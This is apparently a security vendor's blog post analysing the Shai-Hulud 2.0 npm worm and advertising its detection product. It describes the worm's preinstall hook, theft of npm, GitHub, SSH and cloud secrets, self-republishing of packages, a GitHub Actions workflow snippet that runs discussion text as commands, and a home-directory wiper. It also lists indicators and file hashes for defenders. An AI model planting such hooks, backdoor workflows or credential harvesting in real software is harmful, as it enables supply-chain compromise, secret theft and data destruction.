The Shai-Hulud 2.0 npm Worm: What Happened & How Stream Detected It

A renewed malware campaign Shai-Hulud 2.0 or “Sha1-Hulud: The Second Coming” has rapidly compromised hundreds of packages, and exfiltrated sensitive data from tens of thousands of developer environments using :latest on wildly used packages.

This fast-moving worm has already backdoored 700–800+ npm packages, created 25,000+ malicious GitHub repositories, and affected hundreds of GitHub users and organizations, including packages and repos associated with Zapier, Postman, PostHog, ENS Domains, AsyncAPI, and others.

What makes this incident particularly severe is the combination of self-propagating malware, credential harvesting, cross-victim exfiltration, and a destructive “dead-man’s switch” capable of wiping a user’s home directory if exfiltration and propagation fail.

Let's detonate a malicious package and see how it's detected & investigated in Stream's platform 👉

StreamSecurity performs threat detection across Cloud (AWS, GCP, Azure), Runtime (eBPF), IdP (Okta, Google, Entra), and SaaS platforms (GitHub, GitLab, Salesforce, Office 365). Using a combination of behavioral rules and UEBA powered by AI Triage, our customers can detect zero-day attacks without waiting for signature database updates.

To demonstrate this, we deployed an infected npm package into a Kubernetes pod to observe its behavior and evaluate how Stream.Security detects and analyzes the threat in real time.

For enterprises using Stream's platform, preparation made all the difference. Their investigation playbook was ready, they had strong command of their environment, and they were able to track the leaked keys and review their usage quickly with zero queries. Having the ability to truly know your environment and track its behavior is essential. And if you find yourself relying on tedious manual steps during an incident, it is a clear sign to consider what can be automated and how. This level of readiness turns an incident from a scramble into controlled response.

Ready to dive in? ⬇️

As the scenario unfolds, multiple detections are triggered.

Stream's platform detected these advanced, evasive behaviors in real time, and was able to correlate the activity with other behavior related to the breach.

‍

‍

StreamMate AI automatically investigates the incident, correlates all signals, and generates a clear, actionable summary within seconds.

‍

Once we see the destination repo to which exfiltration was done we can take the data out and decrypt it twice with base64.

As part of the incident investigation, we now want to identify which assets own the keys and how those keys are being used in order build out an effective response plan. In this case, we will take an AWS Cloud Key and find which resource owns it - and what actions were performed with it - using Stream. With a simple filter on the key in the activity logs, Stream instantly reveals the principal and all related actions, including those performed through assumed roles.

How the Attack Works

1. Initial Infection via npm Preinstall

Attackers gained access to maintainer accounts (likely via credential theft or phishing). They then published modified versions of legitimate npm packages containing:

• setup_bun.js – a loader posing as a Bun installer
• bun_environment.js – the fully obfuscated malware payload
• Modified package.json containing:

"scripts": { "preinstall": "node setup_bun.js" }

Unlike earlier Shai-Hulud variants that used postinstall, this wave executes before installation begins, greatly increasing exposure across:

• Local developer machines
• CI pipelines
• Automated build systems

This ensures automatic execution without user interaction and bypasses many static scanning tools.

2. Environment Reconnaissance & Credential Harvesting

Once running, the malware harvests a wide range of secrets:

Local Secrets

• .npmrc (npm tokens)
• GitHub CLI tokens
• SSH keys
• Environment variables
• Filesystem secrets via embedded Trufflehog scanning

Cloud Secrets

The payload ships official cloud SDKs for AWS, Azure, and GCP, enabling:

• Metadata service credential theft
• Secrets Manager / Key Vault retrieval
• STS role assumption
• Enumeration of cloud environment variables
• Attempts at persistence and privilege escalation

This multi-cloud capability allows attackers to pivot into production environments, not just developer machines.

3. Exfiltration to Public GitHub Repositories

The malware exfiltrates all harvested data into newly created GitHub repositories under the victim’s own account.

Repository markers:

• Public
• Description: “Sha1-Hulud: The Second Coming.”
• Contains files such as, encrypted twice with base64:
  • environment.json
  • cloud.json
  • contents.json
  • truffleSecrets.json

Cross-Victim Token Reuse

If the malware cannot authenticate using local GitHub tokens, it searches GitHub for other infected repos, extracts their stolen access tokens, and uses those instead.

This means:

• A victim’s stolen credentials may appear inside someone else’s GitHub repo.
• A single compromised GitHub account can serve as the exfiltration hub for multiple victims.

This creates a distributed botnet-like exfiltration network.

4. Self-Propagation via npm Tokens

Using stolen npm credentials, the malware:

1. Identifies packages owned by the victim (/-/v1/search?maintainer:).
2. Downloads the package tarball.
3. Injects:
   • setup_bun.js
   • bun_environment.js
   • preinstall script
4. Bumps patch version automatically.
5. Republishes the compromised version to npm.

This enables rapid, autonomous spread across the ecosystem without any required attacker intervention.

5. GitHub Actions Runner Backdoor (RCE)

One of the most dangerous capabilities is creation of a persistent remote code execution backdoor using GitHub Actions.

The Malware:

• Installs a self-hosted runner on the victim machine (~/.dev-env/).
• Enables GitHub Discussions on the attacker-created repo.
• Creates .github/workflows/discussion.yaml, containing:

on: discussionjobs:  process:    runs-on: self-hosted    steps:      - run: echo ${{ github.event.discussion.body }}

This allows an attacker to run arbitrary commands on infected machines simply by creating a GitHub Discussion containing a command payload.

Because the repo is public, any GitHub user could potentially trigger it.

6. The Dead-Man’s Switch: Data Destruction

All major vendors confirm a highly destructive mechanism:

If the malware cannot achieve exfiltration or propagation and no GitHub or npm token is available, it executes:

Windows:

• Deletes all files recursively under %USERPROFILE%
• Overwrites deleted sectors using cipher /W:
• Deletes directories

Linux/macOS:

• Securely overwrites all user-writable files under $HOME via shred
• Deletes empty directories

This fallback turns the malware from espionage into sabotage.

GitLab warns this could be triggered unintentionally during mass takedowns of malicious repos.

Why This Attack Is Different

Compared to earlier waves, Shai-Hulud 2.0 introduces significant escalation:

This campaign blurs the line between supply-chain malware, ransomware, and botnet infrastructure.

Malware Hashes

File Name: bun_environment.js SHA1: d60ec97eea19fffb4809bc35b91033b52490ca11

File Name: bun_environment.js SHA1: 3d7570d14d34b0ba137d502f042b27b0f37a59fa

File Name: setup_bun.js SHA1: d1829b4708126dcc7bea7437c04d1f10eacd4a16

Here's what we found after analyzing leaked information 👉

We published AWS access key IDs identified as leaked in our repo: detected-leakage/sha1-hulud-2.0/leaked_aws_keys.csv at main · stream-sec/detected-leakage.

If you found your keys in this list, make sure to rotate secrets immediately.

Incidents like this one are on the rise, and it's important to ensure that your security team (and entire organization) are able to adapt. Static detection systems will never be able to properly protect any organization, and ensuring your detection and investigations happen in real time is critical.

As new attacks continue to gain momentum, they should not catch you by surprise. One of the most critical parts of any key-related incident is understanding how that key was used. Manually querying logs, stitching together API calls, and reconstructing access paths adds real complexity, and it can be the determining factor in whether you contain the attack or let it continue unnoticed. Only if you know exactly what happened, and know it fast enough, can you respond precisely and prevent further damage.

Want to validate this against your own defenses? Connect with one of our security experts here.